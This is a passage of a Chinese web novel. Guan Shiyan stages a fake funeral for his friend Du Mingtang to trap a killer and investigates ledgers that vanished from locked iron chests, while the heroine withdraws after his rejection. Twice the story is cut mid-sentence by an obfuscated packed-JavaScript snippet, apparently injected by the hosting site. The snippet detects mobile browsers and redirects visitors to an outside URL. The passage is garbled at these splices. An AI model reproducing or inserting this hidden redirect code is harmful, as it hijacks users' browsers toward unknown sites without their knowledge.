除了纳凉的饮品外,矮案上还端放着好几道京城上号的酒店里才能见着的热菜,豉汁鸡、五味酪鹅、醉蟹、虾元子、茄汁茭白……应有尽有。 便是杜明堂见了,都觉得太过奢侈。 他抬眼又瞥见纲从亭外跑进来的妹妹,惊愕道:“今儿是什么特别的日子吗?” 杜明茜叉腰,扬了扬眉头道:“你们昨天刚回来,一路奔波肯定都累坏了,我昨天又刚到宅子,忙着请医工跟厨子,也来不及准备什么。这不,今晚大家都得了空,当然得好好享受一番啦。” 杜明堂挠挠头:“难怪你非要带上几个京城酒楼的厨子才肯来呢。” 他瞥了瞥身边的关阇彦,在心里把刚刚没说完的话接上去——敢情是想讨好“彦哥哥”呢。 杜明茜也不跟他哥废话了,径直绕到关阇彦身边,想要抓他的手臂却被委婉避开,她只好努嘴撒娇:“也不知道彦哥哥你方才去了哪里,这些菜都冷了,还请不要嫌弃。” 杜明堂皱着眉头,在一声声肉麻的“彦哥哥”中唉声叹气地找了只垫子趺坐下去。 关阇彦看着地上的三只垫子,顿了顿,还是问道:“冯迎春呢?” 杜明茜变了脸色:“喊她做什么啊?” “下人们有自己吃饭的地方,彦哥哥别操心了,我又没苛待她。” 杜明茜撩撩衣袖,在哥哥身边坐下了。 满盘珍馐,关阇彦却只觉得淡而无味,连看着寒酸的霍羹都不如。一餐既后,他路过庖厨,一些下人也没想到这位公子会突然光顾,互相觑着不敢说话。这些人应也是刚吃完餐食,手里抱着盘子和碗,凑在锅前烧热水洗碗。 关阇彦闲来无事,问道:“方才那屋子里的姑娘来吃饭了没?” 下人们大眼瞪小眼,皆摇摇头。 他抬着目光,借着稀疏的檐下灯朝魏郁春的屋子远远探去一眼,屋子里没有一点光亮,也不知里面的人到底是什么时候睡下的,他面如寒霜。 她到底在搞什么鬼? 她觉得他的话伤了她的心,生气也好,失望也罢,可到底不至于感到畏惧——他怎么都忘不掉傍晚她仓皇逃离时脆弱的背影,她闪躲的目光里含着忍辱负重的泪光,说不清到底是因为难过还是因为怨恨。种种一切都像刺一般深深扎在了他的脑海里。 关阇彦忽地觉得自己的做法根本没能奏效多少,他没有从这种不清不楚的关系里抽离,反而还不由自主的陷进去了,这像极了某种反噬。 罢了,他得忍住。说到底世上哪有那么多的两情相悦?多的都是一厢情愿,他有拒绝的资格,凭什么感到愧疚?他也没有义务去问明白对方为何会对自己感到害怕。 她不吃也罢,不睡也罢,爱咋咋样,皆随她去。 他才不会多管闲事。 他赶忙给自己洗脑起来。然后勒住远探的目光,转着步伐朝自己屋子的方向走去了。 …… 翌日。 关阇彦和杜明堂一大早就出了门,远离了僻静的二坊山头,再度潜入京城。趁着早晨朝雾笼罩,他们一路上平平安安地摸到了杜府。 杜家夫妇自昨日听了他们要办丧事的计划,整宿都没睡好觉,思来想去还是找了道长在家里先驱了一遍邪,然后才肯对外散布儿子已殁的消息。如今晨光熹微,外面大雾晃眼,各式市廛行当皆没开业,路上行走的百姓更是寥寥无几。所以消息自然还没散出去多远。 杜明堂心如死灰,到了府中看到木匠端进来的一口硕大的漆木棺,和一整套爹娘特意给他定制的“寿衣”,他是脸色煞白,好似都无需抹粉就能直接扮死人了。 杜夫人哭得上气不接下气,只觉得真是晦气,可听儿子跟都督的话,若是不办一场丧事,就永远揪不出凶手,到时候莫说是杜明堂了,整个杜家都得跟着陪葬。她无可奈何,只恨杜家的时运不济。 她握着杜明堂的手,哭得梨花带雨,又嘱咐他:“娘给你这件寿衣里面缝了不少辟邪的符,你千万别怕昂,就当是随便寻了一处厢房睡着了。凡是吃喝拉撒的,我们都亲自在旁边服侍着,儿子你不要有负担啊。” 说着说着,杜掌舵又给杜夫人递来一沓符纸,杜夫人又将其转交给杜明堂,哭道:“阿堂你要是觉得心慌,便多往身上贴贴符纸昂。” 杜明堂白着脸,好似没了魂儿,听着府里的哭声须臾,他才微微反应过来,牵强地把符纸推回了杜夫人的怀里,道:“唉,爹娘啊,我觉得你们好像比我更需要这些东西。还有,你们别哭,我又不是真的死了……再哭,我是真觉着夜叉要来索我魂了。” 杜夫人听了一噎,杜掌舵抓着扇柄往杜明堂脑袋上一敲,斥责道:“怎么跟我和你娘说话呢!” 关阇彦在一旁透过席帽下的白色纱幔瞧着亭中一家三口浓情的场面,一时间也思绪飘远。 关昀洲既已易容,为了隐瞒身份势必不会对爹娘做什么……但世事难料,焉知那小子有没有动什么手脚? 他越想越恨,最后在心中凝聚成一句决心——这一次,便是焚林而田,他也必要让关昀洲付出代价。 时辰已经差不多了,关阇彦只好上前一步提醒:“二老放心,不过是逢场作戏,明堂只需在此扮演一日,等凶手伺动后,你们再将人换成其他的死物葬入地中,三伏刚过,天气闷热,尸体往往置不久,收拾的时间快些也不易遭人怀疑。城中,此事除了我以外只能叫府中二老跟阿堂阿茜知晓,切莫走漏风声。凶手知晓丧事为先,布局为后,若这个关头出了差错后果将不堪设想。” “我们明白,多谢都督救命之恩啊!”杜氏夫妇诚恳答谢。 但关阇彦却深感负担,道:“不然,若不是明堂,我也找不到机会复仇。若此事能办成,多数是明堂的功劳。” 杜明堂苦笑一声,拍了关阇彦的肩头:“呦呵,你也是知道有愧于我了!” 他声音很低,唯恐二老听到后觉得他待都督不敬。 关阇彦皮笑肉不笑道:“少废话。” “如果关昀洲是害你的人,最迟到今晚,关昀洲的人定会有所动作,唯恐混入同样会换脸的细作,若是有人开棺,你切莫动弹。” 杜明堂道:“害,安心吧。我演技好着呢。关昀洲前不久刚带着未婚妻到经常的府邸,不少人都见过他,找起人来不难。你叫我安排的探子都已经在京城各地布置好了,而且那些地方几十步下去都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447420|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有一间我们杜家的商铺,关昀洲只要行动了,定逃不过我们的法眼。我把我们家的阍人也都换掉了,都是些眼力甚好的扈从,见多识广。若是有可疑之人进府,他们绝对不会漏掉任何一个。” 关阇彦颔了首:“不错。关昀洲既有意害你,杜家账本丢失一事想必也跟他脱不开关系。你这边准备妥当后,我便去你家账房守着。” 山中的避暑宅—— 魏郁春昨日早早将自己锁在屋子内,她身下的席子在白日里就袭着非常的凉意,到了夜晚,凉得好似一块刚从地窖里拉出来的结好的冰。她未换衣物,身上还裹着从温香阙带出来的浴裙,薄薄地贴在她细腻冰凉的皮肤上,好似夏日树蝉身上近似透明的蝉翼。 她黑发散在席上,凌凌乱乱,掩了半边脸。屋内阴凉至极,又毫无光亮,她的状态好似一只深藏在水底并肆意飘舞着长发的水鬼,浑身溢着难以言喻的阴郁之气。 她的眼睛已经哭肿了,直到一滴泪都挤不出来的时刻,她才肯缓缓阖眸,在阴沉的环境中沉沦下去,不知什么时候就睡着了。 虽已立了秋,外面的酷暑却半分未减,只因宅子特殊的地理位置和专为纳凉布置的陈设,屋子里才得以一直保持寒冷。白日晨光高照,屋内的人浑身还冰若冷玉。魏郁春昨夜疲惫不堪,睡眠又浅,便是浑身寒凉,她也未有醒意。直到门外一只丫鬟的声音响起,她才睁眼。 “冯姑娘,该用早膳了。” 魏郁春沉着脸开门,她整张脸都没什么血色,唯有一对肿眼红得突出,把丫鬟吓了一跳。 丫鬟低着头快速把自己的任务交代完:“有一位公子让奴婢传话给你。姑娘老家那边的事他已经安排好了,叫你莫要担心。但最近风头紧,只好委屈姑娘呆在宅子中,吃喝用度皆有人服侍着,等日后事情办好了,府里会遣人送姑娘回去的。公子还说,这些事情全当作回报了姑娘的救命之恩,叫姑娘你不必有负担。” 丫鬟急急忙忙地把手里的食盒端起来,递到魏郁春面前去。 魏郁春冷眼看着面前的种种一切。 “公子说他昨日多有怠慢,是他的不是,这些点心是补偿。日后两不相欠,他不会再来避暑宅了,更不会扰姑娘的清净。” 魏郁春听罢,先是叹了一口气,叹关阇彦的绝情,后而正色起来,面无悲色,她只忿忿地牵了一只嘴角,话音淡然:“好一个两不相欠。但也多谢他这一份决然,我才得以这么快清醒过来。” 但她也的确没有料到关阇彦会特地跟她道歉,即便是间接性的传话,那也挺不可思议了。毕竟,那家伙是不低头的主儿。 即便深谙此道理,魏郁春也不曾有过半点心软之意。 她垂眸静静看着那雕刻着金玉之图的精致食盒,里头有上下两层,不知摆着何样玲珑可爱的糕点,可她却提不起一点兴趣,甚至多看一眼便觉得恶心。她瞥眸,轻问丫鬟:“抱歉,我没什么食欲,宅子里可有白粥之类清淡简单的食物?” 小丫鬟年纪不大,她一路上抱着这等高贵的食盒,虽没见着点心的样子,却嗅到了沁心的软糯香味,口水都攒了半肚子。她在杜府从小长大,都未曾见过这等模样的糕点,面前这位乡下来的姑娘竟是说不要就不要了? 她正纳闷,也讷讷地点头应了魏郁春的问话。 魏郁春颔首,旋即问了问她伙房庖厨在何处,然后信手将那份食盒还到了小丫鬟手中,道:“这些你自己留着吃吧,送给你了。” 小丫鬟眼冒金星,忙答谢:“谢谢姑娘!” 78. 杜府怪案(1) 杜府—— 晨光散去,还未散去的三伏天的暑气顺着越来越高亮的天光倾斜下来,今日吹起了热风,将杜府的丧信传播到了京城的大街小巷里。 全京城里散布着大大小小的各地商号的铺子,人生地不熟,为了尽快熟络京城人脉和做好生意,他们寻日不仅得巴结巴结官府,还得仰仗坐镇京城的两大巨龙——李家商号、杜家商号。久而久之,也就各自站队了。两队人马你来我去,经常掐架,斗得你死我活的。 结果最近李家彻底得罪了朝中大官,显然大势将去。站在李家这边的一队商户慌神,却一时没找着巴结杜家的理由,毕竟得罪的次数不少了。 这下好了,杜家长子的死讯闹得全京城皆知,这些家伙们纷纷跑过来吊唁,带来的纸扎人跟纸钱宝堆积成山,一举带动京城死货的购买量。来看杜明堂的人实在太多,杜府将扈从们都派去大门前当阍者都招待不过来,可谓场面骇人。 杜明堂紧紧闭着眼睛躺在棺中,环境阴闭,他想要挠挠头都不行,聒噪惯了的他又被迫紧紧闭着嘴巴,真是活着不如死了,眼看是真马上要断气了。结果他听到从大老远门外就传来的各色奉承之声,哭声浩浩荡荡,比他爹娘哭得都要动情。 他很快就辨出了这些声音的主人。 “哟,这不吴掌柜么?自己能力不行,被杜家抢先占了铺子地,那家伙连夜请什么邪道做法事说要诅咒我,还好被本少爷提前发现了。” “啧啧啧,张老爷啊,之前就跟那栓了绳的狗一样,李家在后头牵着,他就使劲狗仗人势,处处挑拨离间!” “呵,朱大牛!这厮就是李家拍出来的细作,装作我杜家的牙人,造谣棉布质量差,搞得官府还特地派官吏过来查探了杜家好几日,那几日杜家的生意差了很多!” “……” 杜明堂习惯了精明算计,只怕是比关阇彦更能记仇。他听着这些躁耳的哭声,一边呵呵骂他们也有今天,一边在心中自己立笔铺纸,将这些人的名字和恶行对号入座。 久而久之,他倒也不乏了。 安置在杜府西侧前院书房里的账房中。 关阇彦跟着提着钥匙的杜掌舵进入其中。 杜咏捋着须,满脸沧桑地在账房里踱步,此地已经近两个月无人光顾了,两个月前,杜明堂来此地对账目的时候,发现杜家积压在宝箱内的往年账本皆不翼而飞。杜咏知道此事后,清楚是有歹人故意陷害,他将剩下的账本包括今年记录在手的新本都存到了他自己的屋内。而账房则被上了几重大锁,没有他这个家主的同意,谁都不可能进得来。 关阇彦将屋内上下左右皆扫了一遍,里头原先在东侧置了一处供帐房先生理账的长案,案上都是些整理在都承盘内的印章、香炉、算盘还有各色笔墨纸砚。 案后是三张摆得整齐的木纹灯挂椅,在账房先生理账时,杜明堂抑或是其他主家会一起坐在此地,看着先生记账算术,抑或是一起帮忙。 屋子比较长,但整体格局并不大,能摆的东西屈指可数,除了条案跟椅子,就还有一些堆叠在一起的储物箱,还有贴着墙壁的放了有些泛黄落灰书籍的架格。 关阇彦想了想,不觉得这样布置简单的空间能藏什么东西。 他眼睛盯了储物箱半晌,还是将信将疑地开口问:“账本原先都存放在何处?” “回都督的话,就在那处。” 结果,杜咏手就指着那些紧靠着的储物箱,它们排列成一条长队,紧紧依靠着墙壁,刚好十个箱子,大小造型一致,皆是杜家这么多年来收录的账本内容。 关阇彦不解:“这处屋子布置本就简单,账本既重要,为何还放在如此显眼的地方?” 杜咏叹息道:“账房平日里都是这样管理的,几十年来从未出过差错啊。” 他说着说着,对关阇彦做了个“请”的动作,将人带到十个大宝箱面前来。 关阇彦虽是小辈,但却身份显贵,他不敢怠慢一分,解释道:“都督莫看这些宝箱普通,上面却用的是九窍玲珑锁,每一只都是杜家用上百锭金请工匠照着传世下来的图纸打造的,这一造没有个三年五载都不成的。整个府里,除了我以外无人能开锁。” “不用钥匙开锁?” 关阇彦弯腰拨动了一下一只储物箱上挂着的古铜色的锁,看起来仅有半只手掌大,撩拨起来却能压得骨头生疼。他换了动作,将锁掂量起来,重得像是在拎什么岩铁一般。 所谓九窍,这只如意外形的锁前后左右上下每一面都布着数量不一的孔洞,合起来一共是九个孔洞。关阇彦凑近,从一只狭小的孔洞里看到里面层层叠叠的齿轮和薄如蝉翼的铁片,好似自成一个异象频出的世界,简直是叹为观止。 他完全相信杜咏对这只重金难求的古铜锁的夸耀,绝非空穴来风。 杜咏回了他的话:“的确,我杜家世代从商,吃过的亏太多,祖上便研究出来的这一套古锁的制作方法和开锁方法,唯有传家之人才有打造新锁和开锁的资格。” “这些账本的确重要,但既用了这种锁,可就麻烦杜掌舵你了,每日早晚你都要来亲自将宝箱打开,才可开始拢账目吧?” 关阇彦放下锁,重新挺直身板,风姿卓然。 杜咏道:“是啊,但如此做法最保险。” “那这件事就怪了,”关阇彦将席帽重新戴好,庄重的声线从白色的席帘传出,“这些宝箱不管是箱身还是铜锁,皆完好无损。说明盗窃者根本没想过以破坏的办法获取账本。那这些账本是怎么突然消失的?毕竟唯有杜掌舵你才开得了锁。” 杜咏紧张地挠了挠头,却还是不好意思解释道:“即便歹人想要破坏宝箱夺走账本也是不可能的。这些箱子外表看着像是年代久远的腐旧木料,但里面却实打实,用的玄铁打造成的,若要毁坏,用铁锯割个三天三夜才说不定会破个口子。” “哦~”关阇彦扬了扬一直静若止水的声线,好似颇有兴致,“竟是如此,那这些箱子必沉重无比,寻常人根本无法将其挪动了。” 杜咏诚恳万分地点头:“是啊,这箱子必须请下四位年轻的壮丁,一人抬一只箱角,才能被勉强抬起来呢。所以这些箱子一直堆放在这里,无人挪动得了。” 关阇彦颔首,走到了一只箱子的边缘,再度俯身下去,摸了摸用灰色砖块铺就的地面上的积土,后试图用力去推那只箱子,他只用了半成力,那箱子几乎只晃了半指宽的距离,很快就岿然不动了。这些其貌不扬的箱子的确重量骇人。他没有发现什么疑点,收回手,却隐隐嗅到了几丝熟悉的气味。 “松脂?”他狐疑着将手探入席帽下的帘内,仔细闻嗅一番,确认是那股微微刺鼻的松香味。 杜咏忙问他:“都督您发现了什么?” 关阇彦紧缩眉头,问道:“杜掌舵可有喜好用松脂涂抹木料以求保养的癖好?我在箱木上觅到了松脂的味道。” 杜咏惶悚不已,尴尬道:“说来惭愧,我对松脂有敏疾,从不用此物的。这些箱子上怎么会有松脂呢?” 关阇彦道:“那便是贼人留下的了,算是一个突破口。松脂此物昂贵,普通人不可能持有,杜掌舵可以先排查一下府中有何人有私藏或私购松脂的行为。” “毕竟偷东西偷得如此不留痕迹,八成是府中之人所为,即便不是府中之人,也定在府中潜伏已久,否则焉能将府中事务掌握得如此熟悉?” 杜咏一展愁眉,他不禁拍了把手掌,叹道:“都督果真有绝伦之策。贼人在府中蛰伏许久才可能将府中诸多人事安排掌握完备,这么长的时间,他不可能一直藏藏躲躲,此人必有个维持生计的身份。加上松脂这条线索,一起搜寻起来,可比大海捞针轻松多了。” 必有个维持生计的身份…… 杜咏的话再一次戳中了关阇彦的惠穴,他道:“最能接近账房的除了杜家人,便只有账房先生了。账本消失后,账房上锁,那原先的账房先生去了哪里?” 账房先生当然是关阇彦怀疑的头号嫌疑人。 杜咏闻言,又是叹气又是苦笑,道:“不瞒都督,我最开始怀疑的人也是刘先生。” “毕竟能开锁的人只有我,我早晨开了一只箱子的锁,晚上才会再回来一起把账本整理收录回箱子锁好。账房不准闲杂人等进入半分,账本丢失的前大半年内,除了我、我夫人还有杜明堂外,便只有账房里的刘春盛能入内。” 关阇彦听出了杜咏对张春盛无可奈何的情绪,不由问道,语气带了些狡黠的笑意:“这位刘先生是何许人物?” 杜咏被他问得紧张,连忙答道:“十年前的冬天,年幼的女儿生日,我们夫妻二人带她去北崇坊的隆安寺礼佛。见一个浑身破败的中年男人昏倒在雪地之中,形容凄惨,庙里的小沙弥见此皆面露不忍之色,却也没办法。北崇坊靠着荒野之地,向来多有流民,方圆百里也就隆安一座佛寺,每年冬日接济成百上千的流民,寺里的小沙弥和和尚们都快吃不饱饭了。那男人来得晚了,没得办法。” 关阇彦顿住:“那时只有他一个人在外头淋雪?” 杜咏捋捋下巴上的短须:“说来奇怪,的确就他一个,后头也没流民再过来了。我和夫人只以为时机巧合,所以没多想。那时庙里出来了一位迎接我们的典座,是我们的老相识,知晓刘先生的情况后也是大惊,说是缘分,提议让我们带这位先生回去,积缘。” 这话听起来可真是有点扯了。 但时间已经过去这么久了,内里的故事无从考究,关阇彦在半信半疑之间慢慢听下去。 “这位刘先生醒来后颇为感恩,说要留下来当下人,”杜咏继续说着,“他拨得一手好算盘,脑子更是清楚,算账这事,是给他越做越熟练了。” “既是积缘,老刘待在我们家打下手打了这么多年,忠心耿耿,我们都看在眼里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447421|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索性提拔他当我们家的账房先生。后来,杜家的生意越做越大,也因为老刘,我们一家的担子才轻松不少,忌惮我们家的人越发多,跟涨潮的洪水一般,担子重的同时,我们也不敢招旁的先生进府,老刘在杜府呆了十年多啊,一直没出过啥差错。” 杜咏模样苦恼:“所以这次账本丢失,怀疑老刘的时候,心里的念头千变万化,始终不敢相信。老刘自己也咬死不承认。他在府里,不喜出门,一直住在外院的厢房里。所以他若是偷了东西,除了账房还有外院厢房都无地可藏。府里派了不少人去搜了,翻出来的是一些老刘习惯性抄录的账本内容,统共也就五六本的样子,不多,除此以外什么都没有。” 说到账本内容,杜咏自是要好好解释一番:“老刘上了年纪,已是花甲之年,记性不行了,尤其是最近半年里,他易忘事。他也特地跟我解释过,所以后来他为了第二日算账的效率高些,会提前将当日的账目抄录成册子,带到屋子里去研究,很是辛苦。” “我料想,他若是要偷东西,何必提前跟我说这桩事呢?那不是更容易暴露歹心么?外加我也不是没看过他彻夜不眠研究账目的样子,哎……纵使是怀疑,也是对事不对人的。” 杜咏说来惭愧。 关阇彦尝试去理解他,但发现自己始终无法抛下对嫌疑人的怀疑态度。 他皱着眉道:“提前说明此事,或许只是一种通过博取同情的方式,来叫你放低警惕心的做法。” “这次事情对刘春盛打击不小,他只觉得自己老了不中用,白发垂泪,惹得我羞愧不已,”杜咏回忆过去的光景,一对眉毛皱得像两只在烂泥地里乱爬的蚯蚓,“说来也多亏老刘抄录账本的习惯,最近的账本才没全部丢失,要不然……不等阿堂去南禺找备用账本求证自己,我们杜家的生意就彻底瓦解了。外面虎豹豺狼多矣,即便杜家站不住脚了,老刘留下的剩余账目却也能作为上报大理寺的证据,能拖一段时日呢。” “横竖来说,刘春盛都帮了杜家的大忙,我们没理由再怀疑他了。” 杜咏不大同意关阇彦说法,只是委婉地绕过话题,试图从感性的角度感化关阇彦。 关阇彦到底没有亲眼见过刘春盛,更不提有杜咏口中与之多年缘恩交加的交情。他很难与杜咏感同身受,最多是对刘春盛的印象好了一些。 “对了,账本被窃之事是何时被发现的?” 这个问题很关键,其所引答案可直接暴露出账本被窃时的状态。按照杜咏每日早晨开锁、每日入夜关锁的习惯来看,贼人莫不是在一夜之间用了法子把这十箱的账本全部窃走了?这怎么可能呢? 先不谈贼人是靠什么手段打开锁取走箱中之物。 也不谈刘翁到底有何等嫌疑了。 一夜之间搬走如此多且沉重的东西……再身强体壮的汉子都不可能做到的,更不提在窃走账本的前提下,还要满足神不知鬼不觉的条件了。 关阇彦正因不解于此,他才会在明知杜咏习惯的情况下,还要再一次确认这个问题。 杜咏仔细回答:“谜团就在此地啊……我清楚地记得那日四月初三,明堂一起跟过来跟进账目,那日我早晨启开宝箱,却见里面空无一物。我又继续打开其他九只宝箱,里面同样如此。而昨日我在锁箱时,分明记得十只箱子里面的账本都塞得满满当当。所以我也不敢置信,账本竟真会在一夜之间突然消失。” 关阇彦也百思不得其解,末了只是语气缓和了一些,回应道:“嗯。账本一夜丢失足以说明刘春盛身上的嫌疑极小,他年纪如此,一把老骨如何在短时间内无声无息地搬走重物?” “但,”他话音忽转,微微低下的头仰了仰,头顶的席帽也颤了几下,白帘在微风下轻拂动,偶尔露出他那如刀刃半厉明的双眼,眸中之色深不可测,“万一他有帮凶呢?” 杜咏也被这诡异的气氛带动了心弦,呼吸微微一滞,只好答道:“确有此理。” 关阇彦道:“所以话还是说回来了——如今那刘翁去了何处?” 看来他是决心要彻查一下这位神秘的老翁了。 杜咏道:“我们未发现他偷窃的证据,以愧疚之心挽留他在府中养老,他以自尊蒙羞为由强行要走,我们也不好多说什么,只好为其准备好盘缠和穿用之物,送他离去了。” “刘翁是睦州岳县人,听他意思,也是说要回岳县老家。” 关阇彦颔了首,他轻轻捏了捏指腹,想道:“他年事已高,一路骑马飞奔是不可能的,睦州府靠岭阳,他一路舟车劳顿更是吃不消,少则三月才会到睦州。” 他脑中飞速盘算着从京城去往睦州府的线路,以平坦的路线为准,刘春盛从前到后一定会路过朔州府、毫州府、永应府…… 他话音声起:“杜掌舵派人沿着京城到朔州府的路线寻一寻刘春盛的行踪,务必将人找回来。” 杜咏不敢怠慢:“是。” 79. 杜府怪案(2) 关阇彦将目光移开跟前的十只储物宝箱,他迈开步子,绕过障碍物,跨到了整个屋子里除了箱子外唯二显眼的摆件——一条沿着长廊似墙壁伸展开来的架格。 这些架格很显然是由多个统一样式的书架拼接而成的。 架格上上下下估摸五层,最高层上放着的书籍落的灰最严重,毕竟寻常人都得踩着一只小板凳才能攀得上这样的高度。关阇彦从下到上依次将书架扫视着,他背着手踩着无声的步子,每一次落步都极其庄重,不容一丝失误出现。 杜咏跟在后面,不知不觉间身上家主的气势都散得差不多了,他压着一口气在腹中,以缓和体内乱气,唯恐呼吸时发出的声音会传入关阇彦的耳中。 关阇彦查得很仔细,前有箱子角落发现松脂一事,再查后有之事时,他必然会打起十二分的精神,不放过任何一个易被人忽略的线索。 功夫不负有心人,他的确发现了一个惹眼的事物。 高层上的架格积灰最多,书背上基本上都覆盖着一层陈年老灰,而在这种情况下,若是有人从此地拿了书或是碰了书,留下来的痕迹必会在这样的环境中显得戳目。 他看到了几本书籍上的灰尘明显要比周边的薄很多,对比之下,他们的背面近似平滑,哪有厚厚一层活似粘液似粘着书页不放的尘土看着粗糙?关阇彦个子很高,但也无法做到直接平视高层架格,更不提挪动或拿取上面的书籍了。 他都做不到,何谈那六十来岁的刘翁。 他下意识地敛回眼神,扫视了周边,发现了一只小腿高的杌子四角八岔地倒在不起眼的角落里,他将那杌子提正回来。 杜咏见此补道:“寻日算账得参考不少市面上物价的变化趋势,这些大多数都被整理成了册子堆在这些架格上。刘翁大概五尺高,都得踩在这只杌子上够些册子。” 关阇彦默默颔首,撇下杌子,将其他四层的架格仔细收敛眼底。 他道:“越是上面的册子和书籍越是老旧吧?” 因为他发现书册越是往下,书页泛黄的程度便越轻。 杜咏乐呵呵道:“是的,方便大家取物,年久不用的册子都是堆在高层的。” 关阇彦眸光上下扫视了一下架格:“若是常人,根本不会抬眼往上查看这些摆得又高又无用的杂册,寻常路过更是不会注意到上面的特殊之处。” “可这些书册明显被人动过,动手之人只会是刘春盛。” 关阇彦笑了笑:“刘春盛取上面的书册必不会是为了熟悉账目。” 他对杜咏做了个“请”的动作,道:“烦请当家的尽早将架格上的册子核实好,看看有没有缺漏或是多出的部分。” 杜咏应道:“是。” “都督您是怀疑这只架格是凶手的作案工具?” 关阇彦不置可否,只是说着:“找到刘春盛便可确认他是否有帮凶,若是有,他必是贼人之一,若是没有,他便没有了嫌疑。所以刘春盛这头只是个模糊的线索。架格上的谜团仅代表他是贼人的情况下可能存在的东西。提前做好两手准备罢了。” 杜咏愁云满面地应了,他朝外面窗扉处瞥了一眼,外面热光四射,显然已至中午,他迈开步子,自己脚下投射在屋内的人影瞬间跑到了远处。 他哀叹一声,语气却也诚挚:“时辰不早了,都督还是先随我移步内院的厢房用膳吧,若将身体累坏了便是我的罪过了。” 关阇彦勉强勾了勾唇,但面容被帘子遮地严实,旁人只觉得他如一尊雪白的石头塑像,威严至极。他忽地冒出一句:“明堂如何了?” 毕竟是在人父亲面前,他想损杜明堂的拳脚无处伸展,末了喊他名字都喊出了一股生分之意。 杜咏只知道关阇彦跟自家儿子曾经在一家书院同窗过,绝对想不到他们二人之间的交情如此深。 他只当关阇彦的话是出于对时局的担心,公事公办,公话公答。 “嗐那小子估摸在偷摸着记仇呢,保准闲不下来,都督放心吧。” 他可真是太了解自己的儿子了,今儿一堆仇家上门,若不是情况特殊,杜明堂保准要从棺材里蹦出来“诈尸”吓人,以此当作报复。可惜今日报复不得,就只好默默在心里拿笔记账了。 关阇彦想要抬手扶额,却意识到手和脸之间隔着一道道厚重的帘子,只得作罢,被限制了动作,他也觉得境地勉强,不道义的笑意卡在喉咙里,一直没好意思传出来。他自以为的忍俊不禁,在杜咏眼里依旧是一尊不可冒犯的大佛尊颜。 关阇彦跟着杜咏迈出了飞尘乱舞的账房,但在杜咏为屋子关门上锁时,关阇彦却打断了他。 关阇彦站在门框的边缘,亮黄色的阳光扑洒在整个屋子里,侧面的窗扉也漏着光,将屋内众物的影子斜斜地打在地面上。 关阇彦将眼前此景尽收眼底,俯视着地面上由架格和各种堆在一起的书籍构成的影面,影面上横横竖竖划着既显错综又显整齐的光暗条纹,好似要构成什么字一样。关阇彦敢确信,若是将屋侧和屋正面的光亮挡住,重新选一只方向的光束射进来,这些光暗交错的图案会构成一只新的图案——譬如一只字。 他抬眸在屋内寻找最符合这些条件的光束方向,最终眼神锁定在架格二三层位置往上延申至屋墙顶部的一大扇窗洞。这只洞窗很不起眼,它原本长在长廊似的墙面上,后来比它更大更长的架格搬进来,将它大半的面目遮挡起来——只有当架格二层往上的书籍册子挪动位置,或是重新更置位置时,才会在空当的地方瞧见窗户的模样。 此窗户常年被厚厚的书籍隔挡着,不落灰,将书籍推开,看到的便是光洁平整的水色玉窗片。当太阳移了位置,将光芒自此冰□□窗投进来的话,光亮澄澈,投射影子的效果定然不差。 关阇彦没有再跨入门槛,只是语气既不重也不轻地问了杜咏一句,叫人听不出是什么情绪:“杜掌舵,酉时落阳时这屋子后头可有建筑隔挡光亮?” 杜咏摸不着头脑了,硬着头皮答:“没有的,账房已是西侧院最边儿上的屋子了,此屋采光向来不错。每到酉时夕阳时,屋内都能看到橙黄的落光。” 关阇彦静了静,略一低头:“刘翁平日在架格上拿书时有什么特别的习惯吗?时间上、动作上什么的。” 杜咏仔细回忆,他虽不是时时都有空来账房跟刘春盛共事,但毕竟打交道打了十年,习惯上的东西他还是能总结一番的:“刘翁喜好整理书册,从前都是随机挑时间干。” “但近半年,他总爱在傍晚前摸索摸索书册,说是怕自己忘事,所以晚上前要记好账上的规矩,甚至还要提前抄录好账本带到屋内研究。” “若非说要找什么规律,刘翁除了习惯在傍晚前整理书籍外,就是他每次做此事时都是一副浑然忘我的模样,好似有自己的世界,外人跟他说话他都当听不见。” “半年里……傍晚前,”关阇彦在心中念着。 如果刘春盛真是贼人,他突然改变习惯,选在傍晚左右的时间整理书架,说不定是在通过架格上书籍的摆放位置,跟自墙后□□窗投入进来的夕阳,来形成什么信息。 五层架格上的变动更是说明了这一点——正常情况下,一个老先生怎么会去碰又难拿又没用的东西,那不是吃力不讨好么? 关阇彦在心中盘算了算,打算下午傍晚时,再来账房走一趟,看看这地上的影子到底是何方神物。 想罢,他跟杜咏道:“走吧。” 杜咏压在胸口处令他紧张难耐的大石终于碎为了齑粉,卖离账房跟脱离了回忆的苦海似的,身心畅快,很快就跟关阇彦介绍起来中午为之准备的贵宴:“都督,听说你最近要多多来杜府,我特意寻了京城上好的酒肆里的厨子做了一桌好菜,有豉汁鸡、五味酪鹅、醉蟹——” 这些内容怎么这么熟悉,不就是昨晚杜明茜在避暑宅内准备的一桌菜品吗? 关阇彦抽了抽嘴角,揶揄补上:“虾元子,茄汁茭白?” 杜咏寻思着都督是怎么知道他的台词的,结果关阇彦却步子迈大,摇摇头不说话了。 杜咏跟杜明茜这一对父女也是相像至极了,也不知是父女连心,一起挑了同一家酒楼的厨子。 还是说杜明茜大手大脚聘回府的厨子实在是昂贵,父亲忙着府宅事,却没来得及遣走他们,女儿突然离开,他就不得已把其余的厨子留在了府内凑合用了。 